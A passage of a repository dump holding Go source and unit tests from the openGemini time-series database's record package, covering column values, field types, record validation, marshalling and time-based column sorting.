200 | 201 | // Verify size calculation 202 | assert.Equal(t, cv.Size(), len(result)) 203 | } 204 | 205 | func TestColVal_AppendString(t *testing.T) { 206 | src := &ColVal{ 207 | Val: []byte("hello世界"), 208 | Offset: []uint32{0, 5, 11}, 209 | Bitmap: []byte{0x03}, 210 | Len: 2, 211 | } 212 | 213 | t.Run("append partial", func(t *testing.T) { 214 | dst := &ColVal{} 215 | dst.appendString(src, 0, 1) 216 | assert.Equal(t, []byte("hello"), dst.Val) 217 | assert.Equal(t, []uint32{0}, dst.Offset) 218 | }) 219 | 220 | t.Run("append all", func(t *testing.T) { 221 | dst := &ColVal{} 222 | dst.appendString(src, 0, 2) 223 | assert.Equal(t, []byte("hello世界"), dst.Val) 224 | assert.Equal(t, []uint32{0, 5}, dst.Offset) 225 | }) 226 | 227 | t.Run("append with existing content", func(t *testing.T) { 228 | dst := &ColVal{ 229 | Val: []byte("test"), 230 | Offset: []uint32{0}, 231 | } 232 | dst.appendString(src, 0, 1) 233 | assert.Equal(t, []byte("testhello"), dst.Val) 234 | assert.Equal(t, []uint32{0, 4}, dst.Offset) 235 | }) 236 | } 237 | 238 | func TestColVal_AppendAll(t *testing.T) { 239 | src := &ColVal{ 240 | Val: []byte{1, 2, 3}, 241 | Offset: []uint32{0, 1, 2}, 242 | Bitmap: []byte{0x03}, 243 | Len: 2, 244 | NilCount: 1, 245 | } 246 | 247 | dst := &ColVal{} 248 | dst.appendAll(src) 249 | 250 | assert.Equal(t, src.Val, dst.Val) 251 | assert.Equal(t, src.Offset, dst.Offset) 252 | assert.Equal(t, src.Bitmap, dst.Bitmap) 253 | assert.Equal(t, src.Len, dst.Len) 254 | assert.Equal(t, src.NilCount, dst.NilCount) 255 | } 256 | -------------------------------------------------------------------------------- /lib/record/field.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "strings" 19 | ) 20 | 21 | const ( 22 | FieldTypeUnknown = 0 23 | FieldTypeInt = 1 24 | FieldTypeUInt = 2 25 | FieldTypeFloat = 3 26 | FieldTypeString = 4 27 | FieldTypeBoolean = 5 28 | FieldTypeTag = 6 29 | FieldTypeLast = 7 30 | ) 31 | 32 | var FieldTypeName = map[int]string{ 33 | FieldTypeUnknown: "Unknown", 34 | FieldTypeInt: "Integer", 35 | FieldTypeUInt: "Unsigned", 36 | FieldTypeFloat: "Float", 37 | FieldTypeString: "String", 38 | FieldTypeBoolean: "Boolean", 39 | FieldTypeTag: "Tag", 40 | FieldTypeLast: "Unknown", 41 | } 42 | 43 | type Field struct { 44 | Type int 45 | Name string 46 | } 47 | 48 | func (f *Field) String() string { 49 | var sb strings.Builder 50 | sb.WriteString(f.Name) 51 | sb.WriteString(FieldTypeName[f.Type]) 52 | return sb.String() 53 | } 54 | 55 | type Schemas []Field 56 | 57 | func (sh *Schemas) String() string { 58 | sb := strings.Builder{} 59 | for _, f := range *sh { 60 | sb.WriteString(f.String() + "\n") 61 | } 62 | return sb.String() 63 | } 64 | 65 | func (f *Field) Marshal(buf []byte) ([]byte, error) { 66 | buf = AppendString(buf, f.Name) 67 | buf = AppendInt(buf, f.Type) 68 | return buf, nil 69 | } 70 | 71 | func (f *Field) Size() int { 72 | size := 0 73 | size += SizeOfString(f.Name) 74 | size += SizeOfInt() 75 | return size 76 | } 77 | -------------------------------------------------------------------------------- /lib/record/field_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/stretchr/testify/assert" 21 | ) 22 | 23 | func TestFieldTypeName(t *testing.T) { 24 | tests := []struct { 25 | fieldType int 26 | expected string 27 | }{ 28 | {FieldTypeUnknown, "Unknown"}, 29 | {FieldTypeInt, "Integer"}, 30 | {FieldTypeUInt, "Unsigned"}, 31 | {FieldTypeFloat, "Float"}, 32 | {FieldTypeString, "String"}, 33 | {FieldTypeBoolean, "Boolean"}, 34 | {FieldTypeTag, "Tag"}, 35 | {FieldTypeLast, "Unknown"}, 36 | {999, "Unknown"}, // Invalid type should return "Unknown" 37 | } 38 | 39 | for _, tt := range tests { 40 | t.Run(tt.expected, func(t *testing.T) { 41 | name, exists := FieldTypeName[tt.fieldType] 42 | if tt.fieldType == 999 { 43 | assert.Empty(t, name) 44 | assert.False(t, exists) 45 | } else { 46 | assert.Equal(t, tt.expected, name) 47 | assert.True(t, exists) 48 | } 49 | }) 50 | } 51 | } 52 | 53 | func TestField_String(t *testing.T) { 54 | tests := []struct { 55 | name string 56 | field Field 57 | expected string 58 | }{ 59 | { 60 | name: "integer field", 61 | field: Field{Type: FieldTypeInt, Name: "test_int"}, 62 | expected: "test_intInteger", 63 | }, 64 | { 65 | name: "string field", 66 | field: Field{Type: FieldTypeString, Name: "test_str"}, 67 | expected: "test_strString", 68 | }, 69 | { 70 | name: "unknown type field", 71 | field: Field{Type: 999, Name: "test_unknown"}, 72 | expected: "test_unknown", 73 | }, 74 | { 75 | name: "empty name field", 76 | field: Field{Type: FieldTypeFloat, Name: ""}, 77 | expected: "Float", 78 | }, 79 | } 80 | 81 | for _, tt := range tests { 82 | t.Run(tt.name, func(t *testing.T) { 83 | result := tt.field.String() 84 | assert.Equal(t, tt.expected, result) 85 | }) 86 | } 87 | } 88 | 89 | func TestSchemas_String(t *testing.T) { 90 | tests := []struct { 91 | name string 92 | schemas Schemas 93 | expected string 94 | }{ 95 | { 96 | name: "multiple fields", 97 | schemas: Schemas{ 98 | {Type: FieldTypeInt, Name: "field1"}, 99 | {Type: FieldTypeString, Name: "field2"}, 100 | }, 101 | expected: "field1Integer\nfield2String\n", 102 | }, 103 | { 104 | name: "empty schemas", 105 | schemas: Schemas{}, 106 | expected: "", 107 | }, 108 | { 109 | name: "single field", 110 | schemas: Schemas{ 111 | {Type: FieldTypeFloat, Name: "field1"}, 112 | }, 113 | expected: "field1Float\n", 114 | }, 115 | } 116 | 117 | for _, tt := range tests { 118 | t.Run(tt.name, func(t *testing.T) { 119 | result := tt.schemas.String() 120 | assert.Equal(t, tt.expected, result) 121 | }) 122 | } 123 | } 124 | 125 | func TestField_Marshal(t *testing.T) { 126 | tests := []struct { 127 | name string 128 | field Field 129 | initBuf []byte 130 | expectLen int 131 | }{ 132 | { 133 | name: "empty field", 134 | field: Field{Type: FieldTypeInt, Name: ""}, 135 | initBuf: []byte{}, 136 | expectLen: 2 + SizeOfInt(), // 2 bytes for empty string length + int size 137 | }, 138 | { 139 | name: "normal field", 140 | field: Field{Type: FieldTypeString, Name: "test"}, 141 | initBuf: []byte{1, 2, 3}, 142 | expectLen: 3 + 2 + 4 + SizeOfInt(), // initial 3 bytes + 2 bytes for string length + 4 bytes for "test" + int size 143 | }, 144 | { 145 | name: "with initial buffer", 146 | field: Field{Type: FieldTypeFloat, Name: "abc"}, 147 | initBuf: []byte{9, 9, 9}, 148 | expectLen: 3 + 2 + 3 + SizeOfInt(), // initial 3 bytes + 2 bytes for string length + 3 bytes for "abc" + int size 149 | }, 150 | } 151 | 152 | for _, tt := range tests { 153 | t.Run(tt.name, func(t *testing.T) { 154 | result, err := tt.field.Marshal(tt.initBuf) 155 | assert.NoError(t, err) 156 | assert.Equal(t, tt.expectLen, len(result)) 157 | 158 | // Verify the initial buffer is preserved 159 | if len(tt.initBuf) > 0 { 160 | assert.Equal(t, tt.initBuf, result[:len(tt.initBuf)]) 161 | } 162 | }) 163 | } 164 | } 165 | 166 | func TestField_Size(t *testing.T) { 167 | tests := []struct { 168 | name string 169 | field Field 170 | expected int 171 | }{ 172 | { 173 | name: "empty name", 174 | field: Field{Type: FieldTypeInt, Name: ""}, 175 | expected: SizeOfString("") + SizeOfInt(), 176 | }, 177 | { 178 | name: "normal field", 179 | field: Field{Type: FieldTypeString, Name: "test"}, 180 | expected: SizeOfString("test") + SizeOfInt(), 181 | }, 182 | { 183 | name: "long name", 184 | field: Field{Type: FieldTypeFloat, Name: "very_long_field_name"}, 185 | expected: SizeOfString("very_long_field_name") + SizeOfInt(), 186 | }, 187 | } 188 | 189 | for _, tt := range tests { 190 | t.Run(tt.name, func(t *testing.T) { 191 | size := tt.field.Size() 192 | assert.Equal(t, tt.expected, size) 193 | }) 194 | } 195 | } 196 | -------------------------------------------------------------------------------- /lib/record/record.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "fmt" 19 | "sort" 20 | "strings" 21 | ) 22 | 23 | const ( 24 | TimeField = "time" 25 | ) 26 | 27 | type Record struct { 28 | ColVals []ColVal 29 | Schema Schemas 30 | } 31 | 32 | func NewRecordBuilder(schema []Field) *Record { 33 | return &Record{ 34 | Schema: schema, 35 | ColVals: make([]ColVal, len(schema)), 36 | } 37 | } 38 | 39 | func (rec *Record) Len() int { 40 | return len(rec.Schema) 41 | } 42 | 43 | func (rec *Record) Swap(i, j int) { 44 | rec.Schema[i], rec.Schema[j] = rec.Schema[j], rec.Schema[i] 45 | rec.ColVals[i], rec.ColVals[j] = rec.ColVals[j], rec.ColVals[i] 46 | } 47 | 48 | func (rec *Record) Less(i, j int) bool { 49 | if rec.Schema[i].Name == TimeField { 50 | return false 51 | } else if rec.Schema[j].Name == TimeField { 52 | return true 53 | } else { 54 | return rec.Schema[i].Name < rec.Schema[j].Name 55 | } 56 | } 57 | 58 | func (rec *Record) Column(i int) *ColVal { 59 | return &rec.ColVals[i] 60 | } 61 | 62 | func (rec *Record) String() string { 63 | var sb strings.Builder 64 | 65 | for i, f := range rec.Schema { 66 | var line string 67 | switch f.Type { 68 | case FieldTypeFloat: 69 | line = fmt.Sprintf("field(%v):%#v\n", f.Name, rec.Column(i).FloatValues()) 70 | case FieldTypeString, FieldTypeTag: 71 | line = fmt.Sprintf("field(%v):%#v\n", f.Name, rec.Column(i).StringValues(nil)) 72 | case FieldTypeBoolean: 73 | line = fmt.Sprintf("field(%v):%#v\n", f.Name, rec.Column(i).BooleanValues()) 74 | case FieldTypeInt: 75 | line = fmt.Sprintf("field(%v):%#v\n", f.Name, rec.Column(i).IntegerValues()) 76 | } 77 | sb.WriteString(line) 78 | } 79 | 80 | return sb.String() 81 | } 82 | 83 | func CheckRecord(rec *Record) error { 84 | colN := len(rec.Schema) 85 | if colN <= 1 || rec.Schema[colN-1].Name != TimeField { 86 | return fmt.Errorf("invalid schema: %v", rec.Schema) 87 | } 88 | 89 | if rec.ColVals[colN-1].NilCount != 0 { 90 | return fmt.Errorf("invalid colvals: %v", rec.String()) 91 | } 92 | 93 | for i := 1; i < colN; i++ { 94 | if rec.Schema[i].Name == rec.Schema[i-1].Name { 95 | return fmt.Errorf("same schema; idx: %d, name: %v", i, rec.Schema[i].Name) 96 | } 97 | } 98 | isOrderSchema := true 99 | for i := 0; i < colN-1; i++ { 100 | f := &rec.Schema[i] 101 | col1, col2 := &rec.ColVals[i], &rec.ColVals[i+1] 102 | 103 | if col1.Len != col2.Len { 104 | return fmt.Errorf("invalid colvals length: %v", rec.String()) 105 | } 106 | isOrderSchema = CheckSchema(i, rec, isOrderSchema) 107 | 108 | // check string data length 109 | if f.Type == FieldTypeString || f.Type == FieldTypeTag { 110 | continue 111 | } 112 | 113 | // check data length 114 | expLen := typeSize[f.Type] * (col1.Len - col1.NilCount) 115 | if expLen != len(col1.Val) { 116 | return fmt.Errorf("the length of rec.ColVals[%d].val is incorrect. exp: %d, got: %d\n%s", 117 | i, expLen, len(col1.Val), rec.String()) 118 | } 119 | } 120 | if !isOrderSchema { 121 | sort.Sort(rec) 122 | } 123 | 124 | return nil 125 | } 126 | 127 | func CheckSchema(i int, rec *Record, isOrderSchema bool) bool { 128 | if isOrderSchema && i > 0 && rec.Schema[i-1].Name >= rec.Schema[i].Name { 129 | fmt.Printf("record schema is invalid; idx i-1: %d, name: %v, idx i: %d, name: %v\n", 130 | i-1, rec.Schema[i-1].Name, i, rec.Schema[i].Name) 131 | return false 132 | } 133 | return isOrderSchema 134 | } 135 | 136 | func (rec *Record) Reset() { 137 | rec.Schema = rec.Schema[:0] 138 | rec.ColVals = rec.ColVals[:0] 139 | } 140 | 141 | func (rec *Record) ReserveColVal(size int) { 142 | // resize col val 143 | colLen := len(rec.ColVals) 144 | colCap := cap(rec.ColVals) 145 | remain := colCap - colLen 146 | if delta := size - remain; delta > 0 { 147 | rec.ColVals = append(rec.ColVals[:colCap], make([]ColVal, delta)...) 148 | } 149 | rec.ColVals = rec.ColVals[:colLen+size] 150 | rec.InitColVal(colLen, colLen+size) 151 | } 152 | 153 | func (rec *Record) InitColVal(start, end int) { 154 | for i := start; i < end; i++ { 155 | cv := &rec.ColVals[i] 156 | cv.Init() 157 | } 158 | } 159 | 160 | func (rec *Record) RowNums() int { 161 | if rec == nil || len(rec.ColVals) == 0 { 162 | return 0 163 | } 164 | 165 | return rec.ColVals[len(rec.ColVals)-1].Len 166 | } 167 | 168 | func (rec *Record) Times() []int64 { 169 | if len(rec.ColVals) == 0 { 170 | return nil 171 | } 172 | cv := rec.ColVals[len(rec.ColVals)-1] 173 | return cv.IntegerValues() 174 | } 175 | 176 | func (rec *Record) AppendTime(time ...int64) { 177 | for _, t := range time { 178 | rec.ColVals[len(rec.ColVals)-1].AppendInteger(t) 179 | } 180 | } 181 | 182 | func (rec *Record) Marshal(buf []byte) ([]byte, error) { 183 | var err error 184 | // Schema 185 | buf = AppendUint32(buf, uint32(len(rec.Schema))) 186 | for i := 0; i < len(rec.Schema); i++ { 187 | buf = AppendUint32(buf, uint32(rec.Schema[i].Size())) 188 | buf, err = rec.Schema[i].Marshal(buf) 189 | if err != nil { 190 | return nil, err 191 | } 192 | } 193 | 194 | // ColVal 195 | buf = AppendUint32(buf, uint32(len(rec.ColVals))) 196 | for i := 0; i < len(rec.ColVals); i++ { 197 | buf = AppendUint32(buf, uint32(rec.ColVals[i].Size())) 198 | buf, err = rec.ColVals[i].Marshal(buf) 199 | if err != nil { 200 | return nil, err 201 | } 202 | } 203 | return buf, nil 204 | } 205 | -------------------------------------------------------------------------------- /lib/record/sort.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "sort" 19 | "sync" 20 | ) 21 | 22 | type ColumnSortHelper struct { 23 | aux SortAux 24 | nilCount NilCount 25 | times []int64 26 | } 27 | 28 | type NilCount struct { 29 | value []int 30 | total int 31 | } 32 | 33 | func (nc *NilCount) init(total, size int) { 34 | nc.total = total 35 | if total == 0 { 36 | return 37 | } 38 | 39 | if cap(nc.value) < size { 40 | nc.value = make([]int, size) 41 | } 42 | nc.value = nc.value[:size] 43 | nc.value[0] = 0 44 | } 45 | 46 | var columnSortHelperPool sync.Pool 47 | 48 | func NewColumnSortHelper() *ColumnSortHelper { 49 | hlp, ok := columnSortHelperPool.Get().(*ColumnSortHelper) 50 | if !ok || hlp == nil { 51 | hlp = &ColumnSortHelper{} 52 | } 53 | return hlp 54 | } 55 | 56 | type SortAux struct { 57 | RowIds []int32 58 | Times []int64 59 | sections []int 60 | SortRec *Record 61 | } 62 | 63 | func (aux *SortAux) Len() int { 64 | return len(aux.RowIds) 65 | } 66 | 67 | func (aux *SortAux) Less(i, j int) bool { 68 | return aux.Times[i] < aux.Times[j] 69 | } 70 | 71 | func (aux *SortAux) Swap(i, j int) { 72 | aux.Times[i], aux.Times[j] = aux.Times[j], aux.Times[i] 73 | aux.RowIds[i], aux.RowIds[j] = aux.RowIds[j], aux.RowIds[i] 74 | } 75 | 76 | func (aux *SortAux) Init(times []int64) { 77 | aux.init(times) 78 | } 79 | 80 | func (aux *SortAux) init(times []int64) { 81 | size := len(times) 82 | if cap(aux.Times) < size { 83 | aux.Times = make([]int64, size) 84 | } 85 | aux.Times = aux.Times[:size] 86 | 87 | if cap(aux.RowIds) < size { 88 | aux.RowIds = make([]int32, size) 89 | } 90 | aux.RowIds = aux.RowIds[:size] 91 | 92 | for i := 0; i < size; i++ { 93 | aux.RowIds[i] = int32(i) 94 | aux.Times[i] = times[i] 95 | } 96 | } 97 | 98 | func (rec *Record) ResetWithSchema(schema Schemas) { 99 | rec.Reset() 100 | rec.Schema = schema 101 | rec.ReserveColVal(len(rec.Schema)) 102 | } 103 | 104 | func (aux *SortAux) InitRecord(schemas Schemas) { 105 | if aux.SortRec == nil { 106 | aux.SortRec = NewRecordBuilder(schemas) 107 | } else { 108 | aux.SortRec.ResetWithSchema(schemas) 109 | } 110 | } 111 | 112 | func (aux *SortAux) InitSections() { 113 | times := aux.Times 114 | rows := aux.RowIds 115 | sections := aux.sections[:0] 116 | start := 0 117 | 118 | for i := 0; i < len(times)-1; i++ { 119 | if (rows[i+1]-rows[i]) != 1 || times[i] == times[i+1] { 120 | sections = append(sections, start, i) 121 | start = i + 1 122 | continue 123 | } 124 | } 125 | sections = append(sections, start, len(rows)-1) 126 | aux.sections = sections 127 | } 128 | 129 | func (aux *SortAux) RowIndex(i int) (int, int, int) { 130 | start, end := aux.sections[i], aux.sections[i+1] 131 | rowStat, rowEnd := int(aux.RowIds[start]), int(aux.RowIds[end]+1) 132 | return start, rowStat, rowEnd 133 | } 134 | 135 | func (aux *SortAux) SectionLen() int { 136 | return len(aux.sections) 137 | } 138 | 139 | func (h *ColumnSortHelper) Sort(rec *Record) *Record { 140 | if rec.RowNums() == 0 { 141 | return rec 142 | } 143 | 144 | aux := &h.aux 145 | aux.InitRecord(rec.Schema) 146 | aux.Init(rec.Times()) 147 | sort.Stable(aux) 148 | h.times = h.times[:0] 149 | 150 | return h.sort(rec, aux) 151 | } 152 | 153 | func (h *ColumnSortHelper) sort(rec *Record, aux *SortAux) *Record { 154 | aux.InitSections() 155 | times := aux.Times 156 | 157 | for i := 0; i < rec.Len()-1; i++ { 158 | col := rec.Column(i) 159 | h.initNilCount(col, len(times)+1) 160 | h.sortColumn(col, aux, i) 161 | } 162 | 163 | auxRec := aux.SortRec 164 | auxRec.AppendTime(times[0]) 165 | for i := 1; i < len(times); i++ { 166 | if times[i] != times[i-1] { 167 | auxRec.AppendTime(times[i]) 168 | } 169 | } 170 | 171 | rec, aux.SortRec = aux.SortRec, rec 172 | return rec 173 | } 174 | 175 | func (h *ColumnSortHelper) initNilCount(col *ColVal, size int) { 176 | nc := &h.nilCount 177 | nc.init(col.NilCount, size) 178 | if col.NilCount == 0 { 179 | return 180 | } 181 | 182 | for j := 1; j < size; j++ { 183 | nc.value[j] = nc.value[j-1] 184 | if col.IsNil(j - 1) { 185 | nc.value[j]++ 186 | } 187 | } 188 | } 189 | 190 | func (h *ColumnSortHelper) sortColumn(col *ColVal, aux *SortAux, n int) { 191 | size := aux.SectionLen() 192 | times := aux.Times 193 | dst := aux.SortRec.Column(n) 194 | typ := aux.SortRec.Schema[n].Type 195 | 196 | for i := 0; i < size; i += 2 { 197 | idx, rowStat, rowEnd := aux.RowIndex(i) 198 | 199 | if idx > 0 && times[idx] == times[idx-1] { 200 | h.replace(col, dst, typ, rowStat) 201 | rowStat++ 202 | } 203 | 204 | if rowStat >= rowEnd { 205 | continue 206 | } 207 | 208 | dst.AppendWithNilCount(col, typ, rowStat, rowEnd, &h.nilCount) 209 | } 210 | } 211 | 212 | func (h *ColumnSortHelper) replace(col *ColVal, aux *ColVal, typ, idx int) { 213 | if col.IsNil(idx) { 214 | return 215 | } 216 | 217 | aux.deleteLast(typ) 218 | aux.AppendWithNilCount(col, typ, idx, idx+1, &h.nilCount) 219 | } 220 | 221 | func (cv *ColVal) deleteLast(typ int) { 222 | if cv.Len == 0 { 223 | return 224 | } 225 | 226 | isNil := cv.IsNil(cv.Len - 1) 227 | cv.Len-- 228 | if cv.Len%8 == 0 { 229 | cv.Bitmap = cv.Bitmap[:len(cv.Bitmap)-1] 230 | } 231 | 232 | defer func() { 233 | if typ == FieldTypeString { 234 | cv.Offset = cv.Offset[:cv.Len] 235 | } 236 | }() 237 | 238 | if isNil { 239 | cv.NilCount-- 240 | return 241 | } 242 | 243 | size := typeSize[typ] 244 | if typ == FieldTypeString { 245 | size = len(cv.Val) - int(cv.Offset[cv.Len]) 246 | } 247 | cv.Val = cv.Val[:len(cv.Val)-size] 248 | } 249 | 250 | // AppendWithNilCount modified from method "ColVal.Append" 251 | // Compared with method "ColVal.Append", the number of nulls is calculated in advance. 252 | func (cv *ColVal) AppendWithNilCount(src *ColVal, colType, start, end int, nc *NilCount) { 253 | if end <= start || src.Len == 0 { 254 | return 255 | } 256 | 257 | // append all data 258 | if end-start == src.Len && cv.Len == 0 { 259 | cv.appendAll(src) 260 | return 261 | } 262 | 263 | startOffset, endOffset := start, end 264 | // Number of null values to be subtracted from the offset 265 | if nc.total > 0 { 266 | startOffset = start - nc.value[start] 267 | endOffset = end - nc.value[end] 268 | } 269 | 270 | switch colType { 271 | case FieldTypeString, FieldTypeTag: 272 | cv.appendString(src, start, end) 273 | case FieldTypeInt, FieldTypeFloat, FieldTypeBoolean: 274 | size := typeSize[colType] 275 | cv.Val = append(cv.Val, src.Val[startOffset*size:endOffset*size]...) 276 | default: 277 | panic("error type") 278 | } 279 | 280 | cv.appendBitmap(src.Bitmap, src.BitMapOffset, src.Len, start, end) 281 | cv.Len += end - start 282 | cv.NilCount += end - start - (endOffset - startOffset) 283 | } 284 | 285 | func (cv *ColVal) appendBitmap(bm []byte, bitOffset int, rows int, start, end int) { 286 | // fast path 287 | bitmap, bitMapOffset := subBitmapBytes(bm, bitOffset, rows) 288 | if (cv.BitMapOffset+cv.Len)%8 == 0 && (start+bitMapOffset)%8 == 0 { 289 | if (end+bitMapOffset)%8 == 0 { 290 | cv.Bitmap = append(cv.Bitmap, bitmap[(start+bitMapOffset)/8:(end+bitMapOffset)/8]...) 291 | } else { 292 | cv.Bitmap = append(cv.Bitmap, bitmap[(start+bitMapOffset)/8:(end+bitMapOffset)/8+1]...) 293 | } 294 | return 295 | } 296 | // slow path 297 | dstRowIdx := cv.BitMapOffset + cv.Len 298 | addSize := (dstRowIdx+end-start+7)/8 - (dstRowIdx+7)/8 299 | if addSize > 0 { 300 | bLen := len(cv.Bitmap) 301 | bCap := cap(cv.Bitmap) 302 | remain := bCap - bLen 303 | if delta := addSize - remain; delta > 0 { 304 | cv.Bitmap = append(cv.Bitmap[:bCap], make([]byte, delta)...) 305 | } 306 | cv.Bitmap = cv.Bitmap[:bLen+addSize] 307 | } 308 | 309 | for i := 0; i < end-start; i++ { 310 | cvIndex := dstRowIdx + i 311 | srcIndex := bitMapOffset + start + i 312 | if (bitmap[srcIndex>>3] & BitMask[srcIndex&0x07]) == 0 { 313 | cv.Bitmap[cvIndex>>3] &= FlippedBitMask[cvIndex&0x07] 314 | } else { 315 | cv.Bitmap[cvIndex>>3] |= BitMask[cvIndex&0x07] 316 | } 317 | } 318 | } 319 | -------------------------------------------------------------------------------- /lib/record/sort_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/stretchr/testify/assert" 21 | ) 22 | 23 | func TestNilCount(t *testing.T) { 24 | nc := &NilCount{} 25 | 26 | t.Run("init with zero total", func(t *testing.T) { 27 | nc.init(0, 5) 28 | assert.Equal(t, 0, nc.total) 29 | assert.Equal(t, 0, len(nc.value)) 30 | }) 31 | 32 | t.Run("init with values", func(t *testing.T) { 33 | nc.init(10, 5) 34 | assert.Equal(t, 10, nc.total) 35 | assert.Equal(t, 5, len(nc.value)) 36 | assert.Equal(t, 0, nc.value[0]) 37 | }) 38 | 39 | t.Run("reuse existing slice", func(t *testing.T) { 40 | originalCap := cap(nc.value) 41 | nc.init(8, 3) 42 | assert.Equal(t, originalCap, cap(nc.value)) 43 | assert.Equal(t, 3, len(nc.value)) 44 | }) 45 | } 46 | 47 | func TestSortAux(t *testing.T) { 48 | aux := &SortAux{} 49 | 50 | t.Run("init", func(t *testing.T) { 51 | times := []int64{100, 200, 150} 52 | aux.Init(times) 53 | 54 | assert.Equal(t, len(times), len(aux.Times)) 55 | assert.Equal(t, len(times), len(aux.RowIds)) 56 | 57 | // Check if RowIds are initialized correctly 58 | for i := 0; i < len(times); i++ { 59 | assert.Equal(t, int32(i), aux.RowIds[i]) 60 | } 61 | 62 | // Check if Times are copied correctly 63 | assert.Equal(t, times, aux.Times) 64 | }) 65 | 66 | t.Run("sort interface implementation", func(t *testing.T) { 67 | aux.Times = []int64{300, 100, 200} 68 | aux.RowIds = []int32{0, 1, 2} 69 | 70 | // Test Less 71 | assert.False(t, aux.Less(0, 1)) 72 | assert.True(t, aux.Less(1, 2)) 73 | 74 | // Test Len 75 | assert.Equal(t, 3, aux.Len()) 76 | 77 | // Test Swap 78 | aux.Swap(0, 1) 79 | assert.Equal(t, int64(100), aux.Times[0]) 80 | assert.Equal(t, int64(300), aux.Times[1]) 81 | assert.Equal(t, int32(1), aux.RowIds[0]) 82 | assert.Equal(t, int32(0), aux.RowIds[1]) 83 | }) 84 | 85 | t.Run("init sections", func(t *testing.T) { 86 | aux.Times = []int64{100, 100, 200, 300, 300} 87 | aux.RowIds = []int32{0, 1, 2, 3, 4} 88 | aux.sections = make([]int, 0) 89 | 90 | aux.InitSections() 91 | 92 | // Should create sections for same timestamps and non-consecutive RowIds 93 | assert.True(t, len(aux.sections) > 0) 94 | }) 95 | } 96 | 97 | func TestColumnSortHelper(t *testing.T) { 98 | t.Run("new helper", func(t *testing.T) { 99 | hlp := NewColumnSortHelper() 100 | assert.NotNil(t, hlp) 101 | }) 102 | 103 | t.Run("sort empty record", func(t *testing.T) { 104 | hlp := NewColumnSortHelper() 105 | rec := &Record{} 106 | result := hlp.Sort(rec) 107 | assert.Equal(t, rec, result) 108 | }) 109 | 110 | t.Run("sort record with data", func(t *testing.T) { 111 | hlp := NewColumnSortHelper() 112 | 113 | // Create a test record with some data 114 | schema := []Field{ 115 | {Name: "field1", Type: FieldTypeInt}, 116 | {Name: "field2", Type: FieldTypeFloat}, 117 | } 118 | rec := NewRecordBuilder(schema) 119 | 120 | // Add some timestamps 121 | rec.AppendTime(200) 122 | rec.AppendTime(100) 123 | rec.AppendTime(300) 124 | 125 | // Sort the record 126 | sorted := hlp.Sort(rec) 127 | 128 | // Verify timestamps are sorted 129 | times := sorted.Times() 130 | assert.Equal(t, int64(100), times[0]) 131 | assert.Equal(t, int64(200), times[1]) 132 | assert.Equal(t, int64(300), times[2]) 133 | }) 134 | } 135 | 136 | func TestColValDeleteLast(t *testing.T) { 137 | t.Run("delete from empty column", func(t *testing.T) { 138 | cv := &ColVal{} 139 | cv.deleteLast(FieldTypeInt) 140 | assert.Equal(t, 0, cv.Len) 141 | }) 142 | 143 | t.Run("delete int value", func(t *testing.T) { 144 | cv := &ColVal{ 145 | Val: make([]byte, 8), 146 | Len: 1, 147 | Bitmap: []byte{0xFF}, // not nil 148 | } 149 | cv.deleteLast(FieldTypeInt) 150 | assert.Equal(t, 0, cv.Len) 151 | assert.Equal(t, 0, len(cv.Val)) 152 | }) 153 | 154 | t.Run("delete nil value", func(t *testing.T) { 155 | cv := &ColVal{ 156 | Val: make([]byte, 8), 157 | Len: 1, 158 | Bitmap: []byte{0x00}, // nil value 159 | NilCount: 1, 160 | } 161 | cv.deleteLast(FieldTypeInt) 162 | assert.Equal(t, 0, cv.Len) 163 | assert.Equal(t, 0, cv.NilCount) 164 | }) 165 | 166 | t.Run("delete string value", func(t *testing.T) { 167 | cv := &ColVal{ 168 | 